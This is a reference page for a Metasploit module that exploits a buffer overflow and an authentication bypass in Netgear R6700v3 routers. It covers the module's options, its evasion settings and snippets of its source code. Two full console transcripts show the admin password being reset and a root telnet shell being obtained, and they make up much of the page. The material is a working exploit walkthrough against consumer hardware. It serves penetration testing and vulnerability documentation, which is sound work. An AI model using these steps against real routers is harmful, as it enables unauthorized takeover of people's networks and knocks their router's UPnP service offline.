Netgear R6700v3 Unauthenticated LAN Admin Password Reset - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/netgear_r6700_pass_reset metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Netgear R6700v3 Unauthenticated LAN Admin Password Reset
Module: auxiliary/admin/http/netgear_r6700_pass_reset
Source code: modules/auxiliary/admin/http/netgear_r6700_pass_reset.rb
Disclosure date: 2020-06-15
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-10923, CVE-2020-10924

This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd), on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.58 firmware, however support for other firmware versions may be added in the future. Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can then log into this telnet server using the new password, and obtain a shell as the "root" user. These last two steps have to be done manually, as the authors did not reverse the communication with the web interface. It should be noted that successful exploitation will result in the upnpd binary crashing on the target router. As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit this vulnerability once per reboot of the router. This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + Radek Domanski).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.

Side Effects:

  • config-changes: Module modifies some configuration setting on the target machine.

Basic Usage


msf > use auxiliary/admin/http/netgear_r6700_pass_reset
msf auxiliary(netgear_r6700_pass_reset) > show targets
    ... a list of targets ...
msf auxiliary(netgear_r6700_pass_reset) > set TARGET target-id
msf auxiliary(netgear_r6700_pass_reset) > show options
    ... show and set options ...
msf auxiliary(netgear_r6700_pass_reset) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd), on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.58 firmware, however support for other firmware versions may be added in the future.

Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can then log into this telnet server using the new password, and obtain a shell as the "root" user.

These last two steps have to be done manually, as the authors did not reverse the communication with the web interface. It should be noted that successful exploitation will result in the upnpd binary crashing on the target router. As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit this vulnerability once per reboot of the router.

This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + Radek Domanski).

The vulnerable firmware versions this exploit supports can be downloaded from the following links: * Netgear R6700v3 firmware version V1.0.4.82_10.0.57 * Netgear R6700v3 firmware version V1.0.4.84_10.0.58

Verification Steps


  1. Connect the R6700v3 router to your local area network and ensure you can access it.
  2. Browse to the admin portal for the router, which will be located by default at http://192.168.1.1.
  3. Go to Advanced -> Administration -> Set Password
  4. Change the password from password to another password of your choice.
  5. Log out and browse again to http://192.168.1.1. Verify that you can log into the router with the new password.
  6. Start msfconsole
  7. Do: use auxiliary/admin/http/netgear_r6700_pass_reset
  8. Set RHOST
  9. Run check and verify that the target is vulnerable.
  10. Do: run
  11. Browse admin portal for the router, and verify you can successfully log in with the username admin and the password password.

Options


RHOSTS

IP address of the LAN interface of the vulnerable target.

RPORT

upnpd port on the target. Default 5000.

Scenarios


Netgear R6700v3 firmware version V1.0.4.84_10.0.58

    msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options

    Module options (auxiliary/admin/http/netgear_r6700_pass_reset):

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT    5000             yes       The target port (TCP)
       SSL      false            no        Negotiate SSL/TLS for outgoing connections
       VHOST                     no        HTTP server virtual host

    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
    RHOSTS => 192.168.1.1
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check

    [*] Target is running firmware version 1.0.4.84
    [*] 192.168.1.1:5000 - The target appears to be vulnerable.
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
    [*] Running module against 192.168.1.1

    [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
    [+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
    [*] To achieve code execution, do the following steps manually:
    [*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
    [*]     1.1- go to Advanced -> Administration -> Set Password
    [*]     1.2- Change the password from 'password' to 
    [*] 2- Run metasploit as root, then:
    [*]     2.1- use exploit/linux/telnet/netgear_telnetenable
    [*]     2.2- set interface 
    [*]     2.3- set rhost 192.168.1.1
    [*]     2.3- set username admin
    [*]     2.4- set password 
    [*]     2.5- OPTIONAL: set timeout 1500
    [*]     2.6- OPTIONAL: set MAC 
    [*]     2.7- run it and login with 'admin:'
    [*] 3- Enjoy your root shell!
    [*] Auxiliary module execution completed
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >

Browsed to admin page and changed password to testing123, then in a new msfconsole session running as root, entered the following commands:

    msf5 > use exploit/linux/telnet/netgear_telnetenable
    [*] No payload configured, defaulting to cmd/unix/interact
    msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
    username => admin
    msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
    password => testing123
    msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
    MAC => D56C89FC94C9
    msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
    RHOSTS => 192.168.1.1
    msf5 exploit(linux/telnet/netgear_telnetenable) > exploit

    [+] 192.168.1.1:23 - Detected telnetenabled on UDP
    [+] 192.168.1.1:23 - Using creds admin:testing123
    [*] 192.168.1.1:23 - Generating magic packet
    [*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
    [*] 192.168.1.1:23 - Sending magic packet
    [*] 192.168.1.1:23 - Disconnecting from telnetenabled
    [*] 192.168.1.1:23 - Waiting for telnetd
    [*] 192.168.1.1:23 - Connecting to telnetd
    [*] Found shell.
    [*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-30 15:57:33 -0500



    Login incorrect
     login: admin
    admin
    Password: testing123



    BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.

    # id
    id
    uid=0(admin) gid=0(root)
    # uname -a
    uname -a
    Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Sat Oct 19 11:17:27 CST 2019 armv7l unknown
    #

Netgear R6700v3 firmware version V1.0.0.4.82_10.0.57

    msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options

    Module options (auxiliary/admin/http/netgear_r6700_pass_reset):

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT    5000             yes       The target port (TCP)
       SSL      false            no        Negotiate SSL/TLS for outgoing connections
       VHOST                     no        HTTP server virtual host

    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
    RHOSTS => 192.168.1.1
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check

    [*] Target is running firmware version 1.0.4.82
    [*] 192.168.1.1:5000 - The target appears to be vulnerable.
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
    [*] Running module against 192.168.1.1

    [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.
    [+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
    [*] To achieve code execution, do the following steps manually:
    [*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
    [*]     1.1- go to Advanced -> Administration -> Set Password
    [*]     1.2- Change the password from 'password' to 
    [*] 2- Run metasploit as root, then:
    [*]     2.1- use exploit/linux/telnet/netgear_telnetenable
    [*]     2.2- set interface 
    [*]     2.3- set rhost 192.168.1.1
    [*]     2.3- set username admin
    [*]     2.4- set password 
    [*]     2.5- OPTIONAL: set timeout 1500
    [*]     2.6- OPTIONAL: set MAC 
    [*]     2.7- run it and login with 'admin:'
    [*] 3- Enjoy your root shell!
    [*] Auxiliary module execution completed
    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >

Browsed to admin page and changed password to testing123, then in a new msfconsole session running as root, entered the following commands:

    msf5 > use exploit/linux/telnet/netgear_telnetenable
    [*] No payload configured, defaulting to cmd/unix/interact
    msf5 exploit(linux/telnet/netgear_telnetenable) > show options

    Module options (exploit/linux/telnet/netgear_telnetenable):

       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       FILTER                      no        The filter string for capturing traffic
       INTERFACE                   no        The name of the interface
       MAC                         no        MAC address of device
       PASSWORD                    no        Password on device
       PCAPFILE                    no        The name of the PCAP capture file to process
       RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT      23               yes       The target port (TCP)
       SNAPLEN    65535            yes       The number of bytes to capture
       TIMEOUT    500              yes       The number of seconds to wait for new data
       USERNAME                    no        Username on device


    Payload options (cmd/unix/interact):

       Name  Current Setting  Required  Description
       ----  ---------------  --------  -----------


    Exploit target:

       Id  Name
       --  ----
       0   Automatic (detect TCP or UDP)


    msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
    RHOST => 192.168.1.1
    set msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
    username => admin
    msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
    password => testing123
    msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
    MAC => D56C89FC94C9
    msf5 exploit(linux/telnet/netgear_telnetenable) > exploit

    [+] 192.168.1.1:23 - Detected telnetenabled on UDP
    [+] 192.168.1.1:23 - Using creds admin:testing123
    [*] 192.168.1.1:23 - Generating magic packet
    [*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
    [*] 192.168.1.1:23 - Sending magic packet
    [*] 192.168.1.1:23 - Disconnecting from telnetenabled
    [*] 192.168.1.1:23 - Waiting for telnetd
    [*] 192.168.1.1:23 - Connecting to telnetd
    [*] Found shell.
    [*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-30 15:14:08 -0500



    Login incorrect
     login: admin
    admin
    Password: testing123



    BusyBox v1.7.2 (2019-07-29 20:56:07 CST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.

    # id
    id
    uid=0(admin) gid=0(root)
    # uname -a
    uname -a
    Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Mon Jul 29 19:43:55 CST 2019 armv7l unknown
    #

Go back to menu.

Msfconsole Usage


Here is how the admin/http/netgear_r6700_pass_reset auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/netgear_r6700_pass_reset

msf6 auxiliary(admin/http/netgear_r6700_pass_reset) > show info

       Name: Netgear R6700v3 Unauthenticated LAN Admin Password Reset
     Module: auxiliary/admin/http/netgear_r6700_pass_reset
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-06-15

Provided by:
  Pedro Ribeiro <[email protected]>
  Radek Domanski <[email protected]>
  gwillcox-r7

Module side effects:
 config-changes

Module stability:
 crash-service-down

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    5000             yes       The target port (TCP)
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Description:
  This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer 
  overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd), on 
  Netgear R6700v3 routers running firmware versions from V1.0.2.62 up 
  to but not including V1.0.4.94, to reset the password for the 
  'admin' user back to its factory default of 'password'. 
  Authentication is bypassed by using ZDI-20-703 (aka CVE-2020-10923), 
  an authentication bypass that occurs when network adjacent computers 
  send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 
  router. Currently this module only supports exploiting Netgear 
  R6700v3 routers running either the V1.0.0.4.82_10.0.57 or 
  V1.0.0.4.84_10.0.58 firmware, however support for other firmware 
  versions may be added in the future. Once the password has been 
  reset, attackers can use the 
  exploit/linux/telnet/netgear_telnetenable module to send a special 
  packet to port 23/udp of the router to enable a telnet server on 
  port 23/tcp. The attacker can then log into this telnet server using 
  the new password, and obtain a shell as the "root" user. These last 
  two steps have to be done manually, as the authors did not reverse 
  the communication with the web interface. It should be noted that 
  successful exploitation will result in the upnpd binary crashing on 
  the target router. As the upnpd binary will not restart until the 
  router is rebooted, this means that attackers can only exploit this 
  vulnerability once per reboot of the router. This vulnerability was 
  discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team 
  (Pedro Ribeiro + Radek Domanski).

References:
  https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md
  https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders
  https://nvd.nist.gov/vuln/detail/CVE-2020-10923
  https://nvd.nist.gov/vuln/detail/CVE-2020-10924
  http://www.zerodayinitiative.com/advisories/ZDI-20-703
  http://www.zerodayinitiative.com/advisories/ZDI-20-704

Module Options


This is a complete list of options available in the admin/http/netgear_r6700_pass_reset auxiliary module:

msf6 auxiliary(admin/http/netgear_r6700_pass_reset) > show options

Module options (auxiliary/admin/http/netgear_r6700_pass_reset):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    5000             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/netgear_r6700_pass_reset auxiliary module:

msf6 auxiliary(admin/http/netgear_r6700_pass_reset) > show advanced

Module advanced options (auxiliary/admin/http/netgear_r6700_pass_reset):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/netgear_r6700_pass_reset module can do:

msf6 auxiliary(admin/http/netgear_r6700_pass_reset) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/netgear_r6700_pass_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/netgear_r6700_pass_reset) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to obtain device version: Target didn't respond


Here is a relevant code snippet related to the "Failed to obtain device version: Target didn't respond" error message:

85:	      'raw_headers' => headers,
86:	      'data' => soap
87:	    })
88:	
89:	    if res.nil?
90:	      fail_with(Failure::Unreachable, "Failed to obtain device version: Target didn't respond")
91:	    elsif (res.body.to_s == '') || (res.code != 200)
92:	      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')
93:	    end
94:	
95:	    version = res.body.to_s.scan(/V(\d\.\d\.\d\.\d{1,2})/).flatten.first # Try find a version number in the format V1.2.3.48 or similar.

Failed to obtain device version: Unexpected response code


Here is a relevant code snippet related to the "Failed to obtain device version: Unexpected response code" error message:

87:	    })
88:	
89:	    if res.nil?
90:	      fail_with(Failure::Unreachable, "Failed to obtain device version: Target didn't respond")
91:	    elsif (res.body.to_s == '') || (res.code != 200)
92:	      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')
93:	    end
94:	
95:	    version = res.body.to_s.scan(/V(\d\.\d\.\d\.\d{1,2})/).flatten.first # Try find a version number in the format V1.2.3.48 or similar.
96:	    if version.nil? # Check we actually got a result.
97:	      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: no version number found in response') # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression

Failed to obtain device version: no version number found in response


Here is a relevant code snippet related to the "Failed to obtain device version: no version number found in response" error message:

92:	      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')
93:	    end
94:	
95:	    version = res.body.to_s.scan(/V(\d\.\d\.\d\.\d{1,2})/).flatten.first # Try find a version number in the format V1.2.3.48 or similar.
96:	    if version.nil? # Check we actually got a result.
97:	      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: no version number found in response') # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression
98:	    end
99:	    Rex::Version.new(version) # Finally lets turn it into a Rex::Version object for later use in other parts of the code.
100:	  end
101:	
102:	  def check

Identified firmware version is not supported. Please contact the authors.


Here is a relevant code snippet related to the "Identified firmware version is not supported. Please contact the authors." error message:

123:	  end
124:	
125:	  def run
126:	    offset = find_offset
127:	    if !offset
128:	      fail_with(Failure::NoTarget, 'Identified firmware version is not supported. Please contact the authors.')
129:	    end
130:	
131:	    headers =
132:	      "SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever"
133:	

Failed to send HTTP payload... try again?


Here is a relevant code snippet related to the "Failed to send HTTP payload... try again?" error message:

173:	      'data' => payload
174:	    })
175:	
176:	    if res
177:	      # no response is received in case of success
178:	      fail_with(Failure::UnexpectedReply, 'Failed to send HTTP payload... try again?')
179:	    else
180:	      print_good("#{peer} - HTTP payload sent! 'admin' password has been reset to 'password'")
181:	      print_status('To achieve code execution, do the following steps manually:')
182:	      print_status("1- Login to #{rhost} with creds 'admin:password', then:")
183:	      print_status("\t1.1- go to Advanced -> Administration -> Set Password")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Pedro Ribeiro <pedrib[at]gmail.com>
  • Radek Domanski <radek.domanski[at]gmail.com>
  • gwillcox-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.